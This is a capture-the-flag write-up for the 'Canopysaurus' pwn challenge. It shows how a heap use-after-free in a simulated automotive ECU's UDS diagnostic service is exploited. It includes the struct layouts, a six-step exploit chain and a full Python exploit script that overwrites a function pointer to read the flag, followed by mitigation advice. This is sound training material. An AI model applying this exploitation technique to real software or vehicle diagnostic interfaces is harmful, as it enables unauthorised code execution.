Challenge Overview

Property Value
Binary ecu_sim (gcc -no-pie -g -fno-stack-protector)
Vulnerability Heap Use-After-Free — function pointer hijack
Category pwn
Flag format DACH2026{…}

Canopysaurus simulates a Dino Control Unit (DCU) exposing a CAN bus diagnostic interface over TCP. Players send UDS (Unified Dino Services) messages as raw 16-byte SocketCAN can_frame packets — exactly like a real automotive ECU.

Goal: make reset_code() execute. It reads /flag.txt and streams it back.

Binary Analysis

Compilation Flags

Flag Impact
-no-pie Fixed load address — reset_code() has a static address
-g Debug symbols — nm/objdump reveals all symbols
-fno-stack-protector No stack canary
-D_FORTIFY_SOURCE=0 No glibc fortify checks

Getting the Target Address

nm --defined-only ./ecu_sim | grep reset_code
# 00000000004014bc T reset_code

reset_code() is at 0x4014bc — same on remote (identical Ubuntu 22.04 build environment).

Key Data Structures (both 80 bytes)

Struct Field Offset Notes
dtc_entry_t dtc_code +0 4 bytes
  status +4 1 byte — used for ReadDTC mask
  report_fn +8 8-byte function pointer — the target
  description[56] +16 56 bytes
did_record_t did_id +0 2 bytes
  data_len +2 2 bytes
  data[64] +4 64-byte attacker-controlled payload

Critical overlap: did_record.data[4..11] == dtc_entry.report_fn

The Vulnerability: Heap Use-After-Free

In handle_clear_dtc():

for (int i = 0; i < dtc_count; i++) {
    if (dtc_table[i]) {
        free(dtc_table[i]);
        // MISSING: dtc_table[i] = NULL;
    }
}
// MISSING: dtc_count = 0;
// dtc_table[0] is now a dangling pointer!

After free, dtc_count remains 1 and dtc_table[0] still holds the freed address. glibc tcache will return the same 80-byte chunk on the next malloc(80) call — creating the UAF.

Why SecurityAccess Is a Red Herring

The 0x27 SecurityAccess service with seed ^ 0xCAFEBABE looks mandatory. However, none of the services in the exploit chain check security_level — only session_type != SESSION_DEFAULT. A single extended session is enough. Intentional red herring.

Exploit Chain

# UDS Frame Effect
1 0x10 0x03 Enter extended session
2 0x34 00 01 AA BB CC FF RequestDownload — malloc(80) — dtc_entry_t [chunk A]
3 0x14 FF FF FF ClearDTC — free(chunk A)UAF triggered
4 0x2E 12 34 DE AD WriteDID — malloc(80) — tcache returns chunk A as did_record_t
5a–e 0x31 ... RoutineControl: write 12 bytes to DID data — overwrites report_fn with 0x4014bc
6 0x19 02 FF ReadDTC — entry->report_fn(entry)reset_code() — flag

Memory Layout After Step 5

chunk A (80 bytes):
+00  34 12        → did_record.did_id = 0x1234
+04  FF           → did_record.data[0]  == dtc_entry.status = 0xFF (mask match)
+08  BC 14 40 00  → did_record.data[4..7] == dtc_entry.report_fn [low 4B]
     00 00 00 00  → did_record.data[8..11] == dtc_entry.report_fn [high 4B]
                 → report_fn = 0x00000000004014bc = reset_code()

Exploit Script

import socket, ssl, struct

HOST = '4bb1c37c-...challs.qualifier.swiss-hacking-challenge.ch'
PORT = 31337
RESET_CODE_ADDR = 0x4014bc

def make_can_frame(can_id, data):
    frame  = struct.pack('<I', can_id)
    frame += struct.pack('B', len(data))
    frame += b'\x00\x00\x00'
    frame += data.ljust(8, b'\x00')
    return frame  # 16 bytes

def make_uds(payload, can_id=0x7DF):
    return make_can_frame(can_id, bytes([len(payload)]) + payload)

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = ctx.verify_mode = False
sock = ctx.wrap_socket(socket.create_connection((HOST, PORT)))

def send(p): sock.sendall(make_uds(p))

send(bytes([0x10, 0x03]))                         # 1. Extended session
send(bytes([0x34,0x00,0x01,0xAA,0xBB,0xCC,0xFF])) # 2. Alloc dtc_entry
send(bytes([0x14, 0xFF, 0xFF, 0xFF]))              # 3. Free (UAF!)
send(bytes([0x2E, 0x12, 0x34, 0xDE, 0xAD]))       # 4. Alloc did_record (same chunk)

buf = bytes([0xFF,0x00,0x00,0x00]) + struct.pack('<Q', RESET_CODE_ADDR)
send(bytes([0x31,0x01,0xFF,0x01,0x12,0x34,0x0C])) # 5a. RC start
for off in range(0, 12, 3):                        # 5b-e. Write in chunks
    send(bytes([0x31,0x03,0xFF,0x01]) + buf[off:off+3])

send(bytes([0x19, 0x02, 0xFF]))                    # 6. Trigger -> flag

Key Takeaways

  • Heap UAF: Always null the pointer after free(). Always reset counters.
  • Function pointer hijack: Direct calls through struct function pointers with no CFI are perfect hijack targets.
  • Struct size collision: Both structs were 80 bytes — glibc tcache guaranteed same-chunk reuse.
  • Mitigations that would have helped: PIE (needs address leak), null-after-free, CFI, safe-linking (glibc ≥ 2.32).